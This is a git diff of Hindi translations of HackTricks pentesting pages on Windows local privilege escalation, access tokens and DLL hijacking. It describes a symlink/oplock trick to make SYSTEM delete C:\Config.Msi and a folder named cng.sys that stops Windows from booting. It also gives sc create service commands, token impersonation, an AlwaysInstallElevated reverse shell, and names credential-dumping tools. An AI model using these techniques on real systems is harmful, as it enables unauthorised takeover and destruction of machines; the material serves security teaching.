\\?\GLOBALROOT\RPC Control +``` +- विकल्प C: `\RPC Control` में एक **symlink** बनाएं: +```bash +# Make file1.txt point to a sensitive folder stream +CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") +``` +> यह NTFS आंतरिक स्ट्रीम को लक्षित करता है जो फ़ोल्डर मेटाडेटा को संग्रहीत करता है — इसे हटाने से फ़ोल्डर हट जाता है। + +5. चरण 5: oplock को जारी करें +- SYSTEM प्रक्रिया जारी रहती है और `file1.txt` को हटाने की कोशिश करती है। +- लेकिन अब, जंक्शन + सिम्लिंक के कारण, यह वास्तव में हटा रही है: +``` +C:\Config.Msi::$INDEX_ALLOCATION +``` +**परिणाम**: `C:\Config.Msi` SYSTEM द्वारा हटा दिया गया है। + +### मनमाने फ़ोल्डर से स्थायी DoS बनाने के लिए + +एक प्राइमिटिव का शोषण करें जो आपको **SYSTEM/admin के रूप में एक मनमाना फ़ोल्डर बनाने** की अनुमति देता है — भले ही **आप फ़ाइलें नहीं लिख सकते** या **कमजोर अनुमतियाँ सेट कर सकते**। + +एक **फ़ोल्डर** (फ़ाइल नहीं) बनाएं जिसका नाम **महत्वपूर्ण Windows ड्राइवर** हो, जैसे: +``` +C:\Windows\System32\cng.sys +``` +- यह पथ सामान्यतः `cng.sys` कर्नेल-मोड ड्राइवर से संबंधित होता है। +- यदि आप **इसे एक फ़ोल्डर के रूप में पूर्व-निर्मित करते हैं**, तो Windows बूट पर वास्तविक ड्राइवर को लोड करने में विफल रहता है। +- फिर, Windows बूट के दौरान `cng.sys` को लोड करने की कोशिश करता है। +- यह फ़ोल्डर को देखता है, **वास्तविक ड्राइवर को हल करने में विफल रहता है**, और **क्रैश या बूट को रोक देता है**। +- इसमें **कोई बैकअप नहीं है**, और **बिना बाहरी हस्तक्षेप (जैसे, बूट मरम्मत या डिस्क एक्सेस)** के **कोई पुनर्प्राप्ति नहीं है**। + + ## **उच्च अखंडता से सिस्टम तक** -### **नई सेवा** +### **नया सेवा** -यदि आप पहले से ही उच्च अखंडता प्रक्रिया पर चल रहे हैं, तो **SYSTEM तक पहुंचना** आसान हो सकता है बस **एक नई सेवा बनाकर और उसे निष्पादित करके**: +यदि आप पहले से ही उच्च अखंडता प्रक्रिया पर चल रहे हैं, तो **SYSTEM तक का पथ** केवल **एक नई सेवा बनाने और निष्पादित करने** से आसान हो सकता है: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` -> [!NOTE] -> जब एक सेवा बाइनरी बनाते हैं, तो सुनिश्चित करें कि यह एक मान्य सेवा है या कि बाइनरी आवश्यक क्रियाएँ तेजी से करती है क्योंकि यदि यह एक मान्य सेवा नहीं है तो इसे 20 सेकंड में समाप्त कर दिया जाएगा। +> [!TIP] +> जब एक सेवा बाइनरी बनाते हैं, तो सुनिश्चित करें कि यह एक मान्य सेवा है या कि बाइनरी आवश्यक क्रियाएँ तेजी से करती है, क्योंकि यदि यह एक मान्य सेवा नहीं है, तो इसे 20 सेकंड में समाप्त कर दिया जाएगा। ### AlwaysInstallElevated -एक उच्च इंटीग्रिटी प्रक्रिया से आप **AlwaysInstallElevated रजिस्ट्री प्रविष्टियों को सक्षम करने** और **एक रिवर्स शेल स्थापित करने** की कोशिश कर सकते हैं जिसका उपयोग _**.msi**_ रैपर के रूप में किया जाता है।\ +एक उच्च इंटीग्रिटी प्रक्रिया से आप **AlwaysInstallElevated रजिस्ट्री प्रविष्टियों को सक्षम करने** और **एक रिवर्स शेल स्थापित करने** की कोशिश कर सकते हैं, जिसका उपयोग _**.msi**_ रैपर के रूप में किया जाता है।\ [रजिस्ट्री कुंजियों के बारे में अधिक जानकारी और _.msi_ पैकेज कैसे स्थापित करें यहाँ।](#alwaysinstallelevated) -### High + SeImpersonate privilege to System +### High + SeImpersonate विशेषाधिकार से सिस्टम **आप** [**कोड यहाँ खोज सकते हैं**](seimpersonate-from-high-to-system.md)**।** -### From SeDebug + SeImpersonate to Full Token privileges +### SeDebug + SeImpersonate से पूर्ण टोकन विशेषाधिकार -यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को खोलने** में सक्षम होंगे (संरक्षित प्रक्रियाएँ नहीं) SeDebug विशेषाधिकार के साथ, **प्रक्रिया का टोकन कॉपी करें**, और **उस टोकन के साथ एक मनमाना प्रक्रिया बनाएं**।\ -इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को चुने जाने के लिए किया जाता है जिसमें सभी टोकन विशेषाधिकार होते हैं** (_हाँ, आप सभी टोकन विशेषाधिकारों के बिना SYSTEM प्रक्रियाएँ पा सकते हैं_)।\ +यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को** (संरक्षित प्रक्रियाएँ नहीं) SeDebug विशेषाधिकार के साथ **खोलने**, प्रक्रिया का **टोकन कॉपी करने**, और उस टोकन के साथ एक **मनमाना प्रक्रिया बनाने** में सक्षम होंगे।\ +इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को सभी टोकन विशेषाधिकारों के साथ चुना जाता है** (_हाँ, आप सभी टोकन विशेषाधिकारों के बिना SYSTEM प्रक्रियाएँ पा सकते हैं_)।\ **आप एक** [**कोड का उदाहरण यहाँ खोज सकते हैं जो प्रस्तावित तकनीक को निष्पादित करता है**](sedebug-+-seimpersonate-copy-token.md)**।** ### **Named Pipes** -यह तकनीक मीटरप्रेटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। तकनीक में **एक पाइप बनाना और फिर उस पाइप पर लिखने के लिए एक सेवा बनाना/दुरुपयोग करना** शामिल है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा और SYSTEM विशेषाधिकार प्राप्त करेगा।\ +यह तकनीक मीटरप्रेटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा, जिससे SYSTEM विशेषाधिकार प्राप्त होंगे।\ यदि आप [**नाम पाइप के बारे में अधिक जानना चाहते हैं तो आपको यह पढ़ना चाहिए**](#named-pipe-client-impersonation)।\ -यदि आप पढ़ना चाहते हैं [**कैसे उच्च इंटीग्रिटी से SYSTEM में नाम पाइप का उपयोग करके जाना है, तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)। +यदि आप [**उच्च इंटीग्रिटी से सिस्टम में जाने के लिए नाम पाइप का उपयोग करने का एक उदाहरण पढ़ना चाहते हैं तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)। ### Dll Hijacking -यदि आप **एक dll को हाईजैक करने में सफल होते हैं** जो **SYSTEM** के रूप में चल रही **प्रक्रिया** द्वारा **लोड** की जा रही है, तो आप उन अनुमतियों के साथ मनमाना कोड निष्पादित करने में सक्षम होंगे। इसलिए Dll Hijacking इस प्रकार के विशेषाधिकार वृद्धि के लिए भी उपयोगी है, और, इसके अलावा, यदि उच्च इंटीग्रिटी प्रक्रिया से प्राप्त करना **बहुत आसान है** क्योंकि इसके पास dlls को लोड करने के लिए उपयोग की जाने वाली फ़ोल्डरों पर **लिखने की अनुमति** होगी।\ -**आप** [**Dll हाईजैकिंग के बारे में यहाँ अधिक जान सकते हैं**](dll-hijacking/index.html)**।** +यदि आप **एक dll को हाईजैक करने में सफल होते हैं** जो **SYSTEM** के रूप में चल रही **प्रक्रिया** द्वारा **लोड** की जा रही है, तो आप उन अनुमतियों के साथ मनमाना कोड निष्पादित करने में सक्षम होंगे। इसलिए Dll Hijacking इस प्रकार के विशेषाधिकार वृद्धि के लिए भी उपयोगी है, और, इसके अलावा, यदि उच्च इंटीग्रिटी प्रक्रिया से किया जाए तो यह **काफी आसान है** क्योंकि इसके पास dlls को लोड करने के लिए उपयोग की जाने वाली फ़ोल्डरों पर **लिखने की अनुमति** होगी।\ +**आप** [**Dll hijacking के बारे में यहाँ अधिक जान सकते हैं**](dll-hijacking/index.html)**।** -### **From Administrator or Network Service to System** +### **Administrator या Network Service से System** - [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) -### From LOCAL SERVICE or NETWORK SERVICE to full privs +### LOCAL SERVICE या NETWORK SERVICE से पूर्ण विशेषाधिकार **पढ़ें:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## अधिक सहायता [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## उपयोगी उपकरण **Windows स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) @@ -1398,14 +1569,14 @@ sc start newservicename [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- क्रेडेंशियल मैनेजर से क्रेडेंशियल निकालता है। पता चला।**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड का छिड़काव करें**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS स्पूफर और मैन-इन-द-मिडल उपकरण है।**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows एनुमेरशन**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows एन्यूमरेशन**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- ज्ञात privesc कमजोरियों की खोज करें (DEPRECATED for Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- स्थानीय जांच **(एडमिन अधिकारों की आवश्यकता)** **Exe** [**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc कमजोरियों की खोज करें (इसे VisualStudio का उपयोग करके संकलित करने की आवश्यकता है) ([**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एनुमेरशन करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (इसे संकलित करने की आवश्यकता है) **(**[**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एन्यूमरेशन करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (संकलित करने की आवश्यकता) **(**[**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- कई सॉफ़्टवेयर से क्रेडेंशियल निकालता है (गिटहब में पूर्व-संकलित exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- C# में PowerUp का पोर्ट**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- गलत कॉन्फ़िगरेशन की जांच करें (गिटहब में पूर्व-संकलित निष्पादन योग्य)। अनुशंसित नहीं। यह Win10 में ठीक से काम नहीं करता।\ @@ -1413,18 +1584,18 @@ sc start newservicename **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- इस पोस्ट के आधार पर बनाया गया उपकरण (इसका सही तरीके से काम करने के लिए accesschk की आवश्यकता नहीं है लेकिन इसका उपयोग कर सकता है)। +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- इस पोस्ट के आधार पर बनाया गया उपकरण (इसका सही ढंग से काम करने के लिए accesschk की आवश्यकता नहीं है लेकिन इसका उपयोग कर सकता है)। -**Local** +**स्थानीय** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** के आउटपुट को पढ़ता है और काम करने वाले एक्सप्लॉइट्स की सिफारिश करता है (स्थानीय पायथन)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** के आउटपुट को पढ़ता है और काम करने वाले एक्सप्लॉइट्स की सिफारिश करता है (स्थानीय पायथन) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** के आउटपुट को पढ़ता है और कार्यशील एक्सप्लॉइट की सिफारिश करता है (स्थानीय पायथन)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** के आउटपुट को पढ़ता है और कार्यशील एक्सप्लॉइट की सिफारिश करता है (स्थानीय पायथन) **Meterpreter** _multi/recon/local_exploit_suggestor_ -आपको सही .NET संस्करण का उपयोग करके प्रोजेक्ट को संकलित करना होगा ([यहाँ देखें](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))। पीड़ित होस्ट पर स्थापित .NET संस्करण देखने के लिए आप कर सकते हैं: +आपको सही .NET संस्करण का उपयोग करके प्रोजेक्ट को संकलित करना होगा ([यहाँ देखें](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))। पीड़ित होस्ट पर स्थापित .NET के संस्करण को देखने के लिए आप कर सकते हैं: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md index b72038f6d..1a5d2984f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md @@ -4,7 +4,7 @@ ## Access Tokens -प्रत्येक **उपयोगकर्ता जो** सिस्टम में **लॉग इन है, उसके पास उस लॉगिन सत्र के लिए सुरक्षा जानकारी के साथ एक एक्सेस टोकन होता है**। जब उपयोगकर्ता लॉग इन करता है, तो सिस्टम एक एक्सेस टोकन बनाता है। **प्रत्येक प्रक्रिया जो** उपयोगकर्ता की ओर से **निष्पादित होती है, उसके पास एक्सेस टोकन की एक प्रति होती है**। टोकन उपयोगकर्ता, उपयोगकर्ता के समूहों और उपयोगकर्ता के विशेषाधिकारों की पहचान करता है। एक टोकन में एक लॉगिन SID (सुरक्षा पहचानकर्ता) भी होता है जो वर्तमान लॉगिन सत्र की पहचान करता है। +प्रत्येक **उपयोगकर्ता जो** सिस्टम में **लॉग इन है, उसके पास उस लॉगिन सत्र के लिए सुरक्षा जानकारी के साथ एक एक्सेस टोकन होता है**। जब उपयोगकर्ता लॉग इन करता है, तो सिस्टम एक एक्सेस टोकन बनाता है। **प्रत्येक प्रक्रिया जो उपयोगकर्ता की ओर से निष्पादित होती है, उसके पास एक्सेस टोकन की एक प्रति होती है**। टोकन उपयोगकर्ता, उपयोगकर्ता के समूहों और उपयोगकर्ता के विशेषाधिकारों की पहचान करता है। एक टोकन में एक लॉगिन SID (सुरक्षा पहचानकर्ता) भी होता है जो वर्तमान लॉगिन सत्र की पहचान करता है। आप इस जानकारी को `whoami /all` चलाकर देख सकते हैं। ``` @@ -56,7 +56,7 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit ### स्थानीय प्रशासक -जब एक स्थानीय प्रशासक लॉगिन करता है, **दो एक्सेस टोकन बनाए जाते हैं**: एक प्रशासक अधिकारों के साथ और दूसरा सामान्य अधिकारों के साथ। **डिफ़ॉल्ट रूप से**, जब यह उपयोगकर्ता एक प्रक्रिया निष्पादित करता है, तो **नियमित** (गैर-प्रशासक) **अधिकारों वाला** टोकन उपयोग किया जाता है। जब यह उपयोगकर्ता **प्रशासक के रूप में** कुछ **निष्पादित** करने की कोशिश करता है ("Run as Administrator" उदाहरण के लिए) तो **UAC** अनुमति मांगने के लिए उपयोग किया जाएगा।\ +जब एक स्थानीय प्रशासक लॉगिन करता है, **दो एक्सेस टोकन बनाए जाते हैं**: एक प्रशासनिक अधिकारों के साथ और दूसरा सामान्य अधिकारों के साथ। **डिफ़ॉल्ट रूप से**, जब यह उपयोगकर्ता एक प्रक्रिया निष्पादित करता है, तो **सामान्य** (गैर-प्रशासनिक) **अधिकारों वाला** टोकन उपयोग किया जाता है। जब यह उपयोगकर्ता **प्रशासक के रूप में** कुछ **निष्पादित** करने की कोशिश करता है ("Run as Administrator" उदाहरण के लिए) तो **UAC** अनुमति मांगने के लिए उपयोग किया जाएगा.\ यदि आप [**UAC के बारे में अधिक जानना चाहते हैं तो इस पृष्ठ को पढ़ें**](../authentication-credentials-uac-and-efs/index.html#uac)**.** ### क्रेडेंशियल्स उपयोगकर्ता अनुकरण @@ -65,32 +65,33 @@ or using _Process Explorer_ from Sysinternals (select process and access"Securit ``` runas /user:domain\username cmd.exe ``` -**एक्सेस टोकन** में **LSASS** के अंदर लॉगिन सत्रों का **संदर्भ** भी होता है, यह उपयोगी है यदि प्रक्रिया को नेटवर्क के कुछ ऑब्जेक्ट्स तक पहुंचने की आवश्यकता है।\ +**एक्सेस टोकन** में **LSASS** के अंदर लॉगिन सत्रों का भी **संदर्भ** होता है, यह उपयोगी है यदि प्रक्रिया को नेटवर्क के कुछ ऑब्जेक्ट्स तक पहुंचने की आवश्यकता होती है।\ आप एक प्रक्रिया लॉन्च कर सकते हैं जो **नेटवर्क सेवाओं तक पहुंचने के लिए विभिन्न क्रेडेंशियल्स का उपयोग करती है**: ``` runas /user:domain\username /netonly cmd.exe ``` -यह उपयोगी है यदि आपके पास नेटवर्क में वस्तुओं तक पहुँचने के लिए उपयोगी क्रेडेंशियल्स हैं लेकिन वे वर्तमान होस्ट के अंदर मान्य नहीं हैं क्योंकि वे केवल नेटवर्क में उपयोग किए जाने वाले हैं (वर्तमान होस्ट में आपके वर्तमान उपयोगकर्ता विशेषाधिकारों का उपयोग किया जाएगा)। +यह उपयोगी है यदि आपके पास नेटवर्क में वस्तुओं तक पहुँचने के लिए उपयोगी क्रेडेंशियल्स हैं लेकिन वे क्रेडेंशियल्स वर्तमान होस्ट के अंदर मान्य नहीं हैं क्योंकि वे केवल नेटवर्क में उपयोग किए जाने वाले हैं (वर्तमान होस्ट में आपके वर्तमान उपयोगकर्ता विशेषाधिकारों का उपयोग किया जाएगा)। ### टोकन के प्रकार दो प्रकार के टोकन उपलब्ध हैं: -- **प्राथमिक टोकन**: यह एक प्रक्रिया के सुरक्षा क्रेडेंशियल्स का प्रतिनिधित्व करता है। प्रक्रियाओं के साथ प्राथमिक टोकनों का निर्माण और संघनन ऐसे कार्य हैं जो उच्च विशेषाधिकार की आवश्यकता होती है, जो विशेषाधिकार विभाजन के सिद्धांत को उजागर करता है। आमतौर पर, टोकन निर्माण के लिए एक प्रमाणीकरण सेवा जिम्मेदार होती है, जबकि लॉगिन सेवा इसे उपयोगकर्ता के ऑपरेटिंग सिस्टम शेल के साथ संघनित करती है। यह ध्यान देने योग्य है कि प्रक्रियाएँ अपने माता-पिता प्रक्रिया के प्राथमिक टोकन को निर्माण के समय विरासत में प्राप्त करती हैं। +- **प्राथमिक टोकन**: यह एक प्रक्रिया के सुरक्षा क्रेडेंशियल्स का प्रतिनिधित्व करता है। प्राथमिक टोकनों का निर्माण और प्रक्रियाओं के साथ संघनन ऐसे कार्य हैं जिनके लिए उच्च विशेषाधिकार की आवश्यकता होती है, जो विशेषाधिकार विभाजन के सिद्धांत को उजागर करता है। आमतौर पर, टोकन निर्माण के लिए एक प्रमाणीकरण सेवा जिम्मेदार होती है, जबकि लॉगिन सेवा इसे उपयोगकर्ता के ऑपरेटिंग सिस्टम शेल के साथ संघनित करती है। यह ध्यान देने योग्य है कि प्रक्रियाएँ अपने माता-पिता की प्रक्रिया का प्राथमिक टोकन निर्माण के समय विरासत में लेती हैं। - **प्रतिनिधित्व टोकन**: एक सर्वर एप्लिकेशन को सुरक्षित वस्तुओं तक पहुँचने के लिए ग्राहक की पहचान को अस्थायी रूप से अपनाने की शक्ति देता है। यह तंत्र चार स्तरों में विभाजित है: - - **गुमनाम**: एक अज्ञात उपयोगकर्ता के समान सर्वर पहुँच प्रदान करता है। - - **पहचान**: सर्वर को ग्राहक की पहचान की पुष्टि करने की अनुमति देता है बिना इसे वस्तु पहुँच के लिए उपयोग किए। - - **प्रतिनिधित्व**: सर्वर को ग्राहक की पहचान के तहत कार्य करने में सक्षम बनाता है। - - **प्रतिनिधित्व**: प्रतिनिधित्व के समान लेकिन इसमें इस पहचान को दूरस्थ प्रणालियों तक विस्तारित करने की क्षमता शामिल है जिनके साथ सर्वर बातचीत करता है, जिससे क्रेडेंशियल संरक्षण सुनिश्चित होता है। +- **गुमनाम**: सर्वर को एक अज्ञात उपयोगकर्ता के समान पहुँच प्रदान करता है। +- **पहचान**: सर्वर को ग्राहक की पहचान की पुष्टि करने की अनुमति देता है बिना इसे वस्तु पहुँच के लिए उपयोग किए। +- **प्रतिनिधित्व**: सर्वर को ग्राहक की पहचान के तहत कार्य करने में सक्षम बनाता है। +- **प्रतिनिधित्व**: प्रतिनिधित्व के समान लेकिन इसमें इस पहचान को दूरस्थ प्रणालियों तक विस्तारित करने की क्षमता शामिल है जिनसे सर्वर बातचीत करता है, जिससे क्रेडेंशियल संरक्षण सुनिश्चित होता है। #### प्रतिनिधित्व टोकन -यदि आपके पास पर्याप्त विशेषाधिकार हैं तो आप _**incognito**_ मॉड्यूल का उपयोग करके अन्य **टोकनों** को आसानी से **सूचीबद्ध** और **प्रतिनिधित्व** कर सकते हैं। यह **अन्य उपयोगकर्ता के रूप में कार्य करने** के लिए उपयोगी हो सकता है। आप इस तकनीक के साथ **विशेषाधिकार बढ़ा** भी सकते हैं। +यदि आपके पास पर्याप्त विशेषाधिकार हैं तो आप _**incognito**_ मॉड्यूल का उपयोग करके अन्य **टोकनों** को आसानी से **सूचीबद्ध** और **प्रतिनिधित्व** कर सकते हैं। यह **क्रियाएँ करने के लिए उपयोगी हो सकता है जैसे कि आप अन्य उपयोगकर्ता थे**। आप इस तकनीक के साथ **विशेषाधिकार बढ़ा** भी सकते हैं। ### टोकन विशेषाधिकार सीखें कि कौन से **टोकन विशेषाधिकारों का दुरुपयोग करके विशेषाधिकार बढ़ाए जा सकते हैं:** + {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} @@ -99,6 +100,6 @@ privilege-escalation-abusing-tokens.md ## संदर्भ -इन ट्यूटोरियल में टोकनों के बारे में अधिक जानें: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) और [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962) +टोकनों के बारे में अधिक जानें इस ट्यूटोरियल में: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) और [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md index 7c134ea98..32e1c599d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md @@ -6,7 +6,7 @@ ## Basic Information -DLL Hijacking में एक विश्वसनीय एप्लिकेशन को एक दुर्भावनापूर्ण DLL लोड करने के लिए हेरफेर करना शामिल है। यह शब्द कई रणनीतियों को शामिल करता है जैसे **DLL Spoofing, Injection, और Side-Loading**। इसका मुख्य उपयोग कोड निष्पादन, स्थिरता प्राप्त करने, और, कम सामान्यतः, विशेषाधिकार वृद्धि के लिए किया जाता है। यहाँ वृद्धि पर ध्यान केंद्रित होने के बावजूद, हाइजैकिंग की विधि उद्देश्यों के बीच समान रहती है। +DLL Hijacking एक विश्वसनीय एप्लिकेशन को एक दुर्भावनापूर्ण DLL लोड करने के लिए हेरफेर करने में शामिल है। यह शब्द कई रणनीतियों को शामिल करता है जैसे **DLL Spoofing, Injection, और Side-Loading**। इसका मुख्य उपयोग कोड निष्पादन, स्थिरता प्राप्त करने, और, कम सामान्यतः, विशेषाधिकार वृद्धि के लिए किया जाता है। यहाँ वृद्धि पर ध्यान केंद्रित करने के बावजूद, हाइजैकिंग की विधि उद्देश्यों के बीच समान रहती है। ### Common Techniques @@ -31,29 +31,56 @@ DLL हाइजैकिंग के लिए कई विधियों ![](<../../images/image (314).png>) -यदि आप **सामान्य रूप से गायब dlls** की तलाश कर रहे हैं तो आप इसे कुछ **सेकंड** के लिए चलने दें।\ +यदि आप **सामान्य रूप से गायब dlls** की तलाश कर रहे हैं तो आप इसे कुछ **सेकंड** के लिए चलने देते हैं।\ यदि आप एक **विशिष्ट निष्पादन योग्य के अंदर गायब dll** की तलाश कर रहे हैं तो आपको **"Process Name" "contains" "\"** जैसे **दूसरे फ़िल्टर** को सेट करना चाहिए, इसे निष्पादित करें, और घटनाओं को कैप्चर करना बंद करें। ## Exploiting Missing Dlls -विशेषाधिकार बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम **एक dll लिख सकें जिसे एक विशेषाधिकार प्राप्त प्रक्रिया लोड करने की कोशिश करेगी** कुछ **स्थान पर जहां इसे खोजा जाएगा**। इसलिए, हम एक **फोल्डर** में **dll लिखने में सक्षम होंगे** जहां **dll पहले खोजा जाता है** उस फोल्डर से पहले जहां **मूल dll** है (अजीब मामला), या हम एक ऐसे फोल्डर में **लिखने में सक्षम होंगे जहां dll खोजा जाएगा** और मूल **dll किसी भी फोल्डर में मौजूद नहीं है**। +विशेषाधिकार बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम **एक dll लिख सकें जिसे एक विशेषाधिकार प्रक्रिया लोड करने की कोशिश करेगी** कुछ **स्थान पर जहां इसे खोजा जाएगा**। इसलिए, हम एक **फोल्डर** में **dll लिखने में सक्षम होंगे** जहां **dll पहले खोजा जाता है** उस फोल्डर से पहले जहां **मूल dll** है (अजीब मामला), या हम किसी फोल्डर में **लिखने में सक्षम होंगे जहां dll खोजा जाएगा** और मूल **dll किसी भी फोल्डर में मौजूद नहीं है**। ### Dll Search Order -**Microsoft दस्तावेज़ के अंदर** [**आप देख सकते हैं कि DLLs को विशेष रूप से कैसे लोड किया जाता है।**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) +**Microsoft दस्तावेज़ के अंदर** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **आप देख सकते हैं कि DLLs को विशेष रूप से कैसे लोड किया जाता है।** -**Windows एप्लिकेशन** DLLs की खोज एक सेट के अनुसार करते हैं **पूर्व-निर्धारित खोज पथ**, एक विशेष अनुक्रम का पालन करते हुए। DLL हाइजैकिंग की समस्या तब उत्पन्न होती है जब एक हानिकारक DLL इन निर्देशिकाओं में से एक में रणनीतिक रूप से रखा जाता है, यह सुनिश्चित करते हुए कि इसे प्रामाणिक DLL से पहले लोड किया जाए। इसे रोकने के लिए एक समाधान यह है कि एप्लिकेशन उस DLL को संदर्भित करते समय पूर्ण पथ का उपयोग करे जिसकी उसे आवश्यकता है। +**Windows एप्लिकेशन** DLLs की खोज एक सेट के अनुसार करते हैं **पूर्व-निर्धारित खोज पथ**, एक विशेष अनुक्रम का पालन करते हुए। DLL हाइजैकिंग की समस्या तब उत्पन्न होती है जब एक हानिकारक DLL इन निर्देशिकाओं में से एक में रणनीतिक रूप से रखा जाता है, यह सुनिश्चित करते हुए कि इसे प्रामाणिक DLL से पहले लोड किया जाए। इसे रोकने के लिए एक समाधान यह है कि एप्लिकेशन उस DLL के लिए संदर्भित करते समय पूर्ण पथ का उपयोग करे जिसकी उसे आवश्यकता है। -आप नीचे **32-बिट** सिस्टम पर **DLL खोज क्रम** देख सकते हैं: +आप 32-बिट सिस्टम पर **DLL खोज क्रम** नीचे देख सकते हैं: 1. वह निर्देशिका जिससे एप्लिकेशन लोड हुआ। 2. सिस्टम निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) फ़ंक्शन का उपयोग करें।(_C:\Windows\System32_) 3. 16-बिट सिस्टम निर्देशिका। इस निर्देशिका का पथ प्राप्त 